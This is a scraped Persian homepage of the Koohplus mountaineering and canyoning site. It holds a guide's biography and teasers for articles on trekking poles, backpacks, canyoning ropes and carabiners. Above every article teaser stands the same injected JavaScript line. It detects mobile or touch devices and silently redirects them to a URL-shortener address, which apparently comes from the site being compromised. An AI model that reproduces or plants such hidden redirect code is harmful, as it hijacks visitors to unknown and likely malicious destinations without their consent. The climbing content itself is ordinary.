در جریان باشید
رضا اسماعیلی – بنیان گذار کوه پلاس
مربی راهنمای رشته دره نوردی سنگنوردی کوهنوردی
متولد: ۱۳۵۶
شروع فعالیت ورزشی: ۱۳۷۰
من بیش از سه دهه در مسیر کوهستان قدم زده‌ام؛ از سنگ‌های سخت دیواره‌ها تا برف‌های بلند قله‌ها. طی این سال‌ها توانسته‌ام دانش و تجربه خود را در قالب آموزش و اجرای برنامه‌های تخصصی به دیگران منتقل کنم. هدف من همیشه این بوده که افراد با دانش صحیح، مهارت واقعی و ایمنی کامل وارد طبیعت شوند.
در سال ۱۳۹۶ به جهت دسترسی بیشتر دوستان اقدام به آموزش در فضای مجازی با ایجاد یک سایت بصورت مجله آموزشی و همچنین پیج اینستاگرام و کانال یوتیوب کردم که در تمامی این پلتفرمها می توانید با برند koohplus ما رو دنبال کنید
مدارک
- دارنده مدارک رسمی مربی‌گری و راهنمایی از فدراسیون کوهنوردی و صعودهای ورزشی
- مربی راهنما در حوزه‌های تخصصی سنگنوردی، دره‌نوردی و کوهنوردی
- سابقه طولانی در اجرای برنامه‌های ارتفاعات و فنی
دوره های آموزشی
[woo_slider per_page=”12″ columns=”4″ rows=”1″ category=”دوره-های-آموزشی”]
جدیدترین محصولات کوه پلاس
[woo_slider per_page=”12″ columns=”4″ rows=”1″ category=”محصولات-ویژه”]
جدیدترین مطالب کوه نوردی
راهنمای جامع کوهنوردی برای مبتدیان: از انتخاب کفش تا صعود اولین قله
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.org/oDqxVvRoV0r2");
کوهنوردی ورزشی است که علاوه بر تناسب اندام، آرامش روحی و ارتباط عمیق...
راهنمای جامع انتخاب باتوم کوهنوردی
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.org/oDqxVvRoV0r2");
بررسی کامل انواع باتوم و مدل‌های موجود در بازار ایران
مقدمه
باتوم کوهنوردی جزو آن...
باتوم کوهنوردی چیست و کدام مدل برای شما مناسب‌تر است؟
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.org/oDqxVvRoV0r2");
راهنمای کامل انتخاب باتوم کوهنوردی با تمرکز بر مدل‌های موجود در بازار ایران
کوهنوردی...
بهترین کوله‌های کوهپیمایی تا ۴۰ لیتر در بازار ایران
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.org/oDqxVvRoV0r2");
بهترین کوله‌های کوهپیمایی تا 40 لیتر در ایران
خلاصه
اگر دنبال کوله‌ای برای برنامه‌های یک...
کدام کوله‌پشتی ایرانی برای کوهپیمایی تا ۴۰ لیتر انتخاب بهتری است؟
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.org/oDqxVvRoV0r2");
مقایسه تخصصی برندهای قایا، انیسه، البرز و گزینه‌های بازار ایران
مقدمه
اگر اهل کوهپیمایی‌های یک‌روزه...
جدیدترین مطالب دره نوردی
کدام طناب دره‌نوردی برای شرایط ایران بهترین انتخاب است؟
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.org/oDqxVvRoV0r2");
مقدمه | چرا انتخاب طناب دره‌نوردی شوخی‌بردار نیست؟
اگر دره‌نوردی را فقط «چند فرود...
خطرناکترین روش فرود با ابزارهای دره نوردی
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.org/oDqxVvRoV0r2");
(ATC، ATK، Figure-8، Pirana و ابزارهای تخصصی Canyoning)**
? چکیده
دره‌نوردی محیطی است که در...
آیا عددهای روی کارابین واقعی است ؟
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.org/oDqxVvRoV0r2");
مقدمه
دانشگاه MIT در سال ۲۰۲۴ تحقیقی جامع درباره رفتار مکانیکی کارابین‌ها در شرایط...
آیا بعد بستن کامل پیچ کارابین، آن را کمی شُل کنیم یا تا آخر ببندیم
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.org/oDqxVvRoV0r2");
تحلیل علمی عملکرد کارابین پیچ در کوهنوردی — آیا باید همیشه قفل را...
مقایسه تخصصی طناب‌های دره‌نوردی: انتخاب بهترین طناب
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.org/oDqxVvRoV0r2");
در این مقاله به بررسی و مقایسه تخصصی انواع طناب‌های دره‌نوردی شامل طناب‌های...
جدیدترین مطالب سنگ نوردی
کدام طناب دره‌نوردی برای شرایط ایران بهترین انتخاب است؟
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.org/oDqxVvRoV0r2");
مقدمه | چرا انتخاب طناب دره‌نوردی شوخی‌بردار نیست؟
اگر دره‌نوردی را فقط «چند فرود...
خطرناکترین روش فرود با ابزارهای دره نوردی
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.org/oDqxVvRoV0r2");
(ATC، ATK، Figure-8، Pirana و ابزارهای تخصصی Canyoning)**
? چکیده
دره‌نوردی محیطی است که در...
آیا عددهای روی کارابین واقعی است ؟
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.org/oDqxVvRoV0r2");
مقدمه
دانشگاه MIT در سال ۲۰۲۴ تحقیقی جامع درباره رفتار مکانیکی کارابین‌ها در شرایط...
آیا بعد بستن کامل پیچ کارابین، آن را کمی شُل کنیم یا تا آخر ببندیم
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.org/oDqxVvRoV0r2");
تحلیل علمی عملکرد کارابین پیچ در کوهنوردی — آیا باید همیشه قفل را...
مقایسه تخصصی طناب‌های دره‌نوردی: انتخاب بهترین طناب
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.org/oDqxVvRoV0r2");
در این مقاله به بررسی و مقایسه تخصصی انواع طناب‌های دره‌نوردی شامل طناب‌های...